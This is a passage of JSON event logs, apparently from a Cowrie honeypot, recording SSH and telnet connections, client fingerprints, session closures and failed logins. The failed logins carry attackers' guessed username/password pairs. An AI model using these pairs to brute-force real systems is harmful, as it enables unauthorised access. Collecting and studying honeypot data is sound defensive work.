h-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:20.991293Z","src_ip":"43.243.142.42","session":"61e690320558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"asdfgh","message":"login attempt [administrator/asdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:22.039471Z","src_ip":"43.243.142.42","session":"61e690320558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:23.297110Z","src_ip":"43.243.142.42","session":"61e690320558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":57924,"dst_ip":"159.203.135.109","dst_port":23,"session":"eac7e3632f87","protocol":"telnet","message":"New connection: 68.183.198.12:57924 (159.203.135.109:23) [session: eac7e3632f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:25.549608Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":58044,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c5b7c263c43","protocol":"telnet","message":"New connection: 68.183.198.12:58044 (159.203.135.109:23) [session: 7c5b7c263c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:28.577778Z"}
{"eventid":"cowrie.session.closed","duration":120.00165748596191,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:51.296249Z","src_ip":"49.88.156.34","session":"d0bdbaeb0177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":46478,"dst_ip":"159.203.135.109","dst_port":22,"session":"df98c237fab8","protocol":"ssh","message":"New connection: 42.200.66.164:46478 (159.203.135.109:22) [session: df98c237fab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:55.805357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:55.810704Z","src_ip":"42.200.66.164","session":"df98c237fab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:56.026241Z","src_ip":"42.200.66.164","session":"df98c237fab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWEasdzxc","message":"login attempt [root/!@#QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:56.920503Z","src_ip":"42.200.66.164","session":"df98c237fab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:27:58.141232Z","src_ip":"42.200.66.164","session":"df98c237fab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":55786,"dst_ip":"10.17.0.5","dst_port":22,"session":"02aa8c5ef9f7","protocol":"ssh","message":"New connection: 148.216.28.11:55786 (10.17.0.5:22) [session: 02aa8c5ef9f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:04.456058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:04.461423Z","src_ip":"148.216.28.11","session":"02aa8c5ef9f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:04.528924Z","src_ip":"148.216.28.11","session":"02aa8c5ef9f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userssh","password":"safe4you","message":"login attempt [userssh/safe4you] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:04.829107Z","src_ip":"148.216.28.11","session":"02aa8c5ef9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:05.898433Z","src_ip":"148.216.28.11","session":"02aa8c5ef9f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.822856426239014,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:14.372311Z","src_ip":"68.183.198.12","session":"eac7e3632f87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.34627413749695,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:14.923965Z","src_ip":"68.183.198.12","session":"7c5b7c263c43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":34824,"dst_ip":"159.203.135.109","dst_port":22,"session":"86b3358e6050","protocol":"ssh","message":"New connection: 43.243.142.42:34824 (159.203.135.109:22) [session: 86b3358e6050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:19.888857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:19.894998Z","src_ip":"43.243.142.42","session":"86b3358e6050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":36572,"dst_ip":"159.203.135.109","dst_port":23,"session":"37bb2ac1de20","protocol":"telnet","message":"New connection: 68.183.198.12:36572 (159.203.135.109:23) [session: 37bb2ac1de20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:19.911696Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:20.125757Z","src_ip":"43.243.142.42","session":"86b3358e6050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe321","message":"login attempt [ubuntu/qwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:21.080115Z","src_ip":"43.243.142.42","session":"86b3358e6050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37014,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f3b5f868ec","protocol":"telnet","message":"New connection: 68.183.198.12:37014 (159.203.135.109:23) [session: f3f3b5f868ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:21.950361Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:22.313529Z","src_ip":"43.243.142.42","session":"86b3358e6050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":55914,"dst_ip":"10.17.0.5","dst_port":23,"session":"729267b66823","protocol":"telnet","message":"New connection: 64.227.101.30:55914 (10.17.0.5:23) [session: 729267b66823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:46.948925Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":34712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad79bc80193d","protocol":"ssh","message":"New connection: 42.200.66.164:34712 (159.203.135.109:22) [session: ad79bc80193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:47.411544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:47.416135Z","src_ip":"42.200.66.164","session":"ad79bc80193d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:47.632930Z","src_ip":"42.200.66.164","session":"ad79bc80193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w#e$r","message":"login attempt [root/1q2w#e$r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:48.525416Z","src_ip":"42.200.66.164","session":"ad79bc80193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:49.743494Z","src_ip":"42.200.66.164","session":"ad79bc80193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.827845096588135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:28:53.778090Z","src_ip":"68.183.198.12","session":"f3f3b5f868ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.972413301467896,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:04.883984Z","src_ip":"68.183.198.12","session":"37bb2ac1de20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":58798,"dst_ip":"159.203.135.109","dst_port":22,"session":"87448f9f5fc6","protocol":"ssh","message":"New connection: 43.243.142.42:58798 (159.203.135.109:22) [session: 87448f9f5fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:16.347450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:16.352456Z","src_ip":"43.243.142.42","session":"87448f9f5fc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:16.598213Z","src_ip":"43.243.142.42","session":"87448f9f5fc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"p@ssw0rd","message":"login attempt [guest/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:17.599822Z","src_ip":"43.243.142.42","session":"87448f9f5fc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:18.845148Z","src_ip":"43.243.142.42","session":"87448f9f5fc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.235.215.228","src_port":37877,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb393402b678","protocol":"telnet","message":"New connection: 83.235.215.228:37877 (10.17.0.5:23) [session: fb393402b678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:29.585662Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":51178,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3a2626a7067","protocol":"ssh","message":"New connection: 42.200.66.164:51178 (159.203.135.109:22) [session: a3a2626a7067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:37.491579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:37.496378Z","src_ip":"42.200.66.164","session":"a3a2626a7067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:37.712762Z","src_ip":"42.200.66.164","session":"a3a2626a7067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2024","message":"login attempt [ubuntu/Ubuntu@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:38.612955Z","src_ip":"42.200.66.164","session":"a3a2626a7067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:39.832431Z","src_ip":"42.200.66.164","session":"a3a2626a7067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.244841575622559,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:42.830415Z","src_ip":"83.235.215.228","session":"fb393402b678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.24771809577942,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:29:48.196486Z","src_ip":"64.227.101.30","session":"729267b66823","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":53270,"dst_ip":"159.203.135.109","dst_port":22,"session":"7338f927a821","protocol":"ssh","message":"New connection: 43.243.142.42:53270 (159.203.135.109:22) [session: 7338f927a821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:12.339372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:30:12.344814Z","src_ip":"43.243.142.42","session":"7338f927a821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2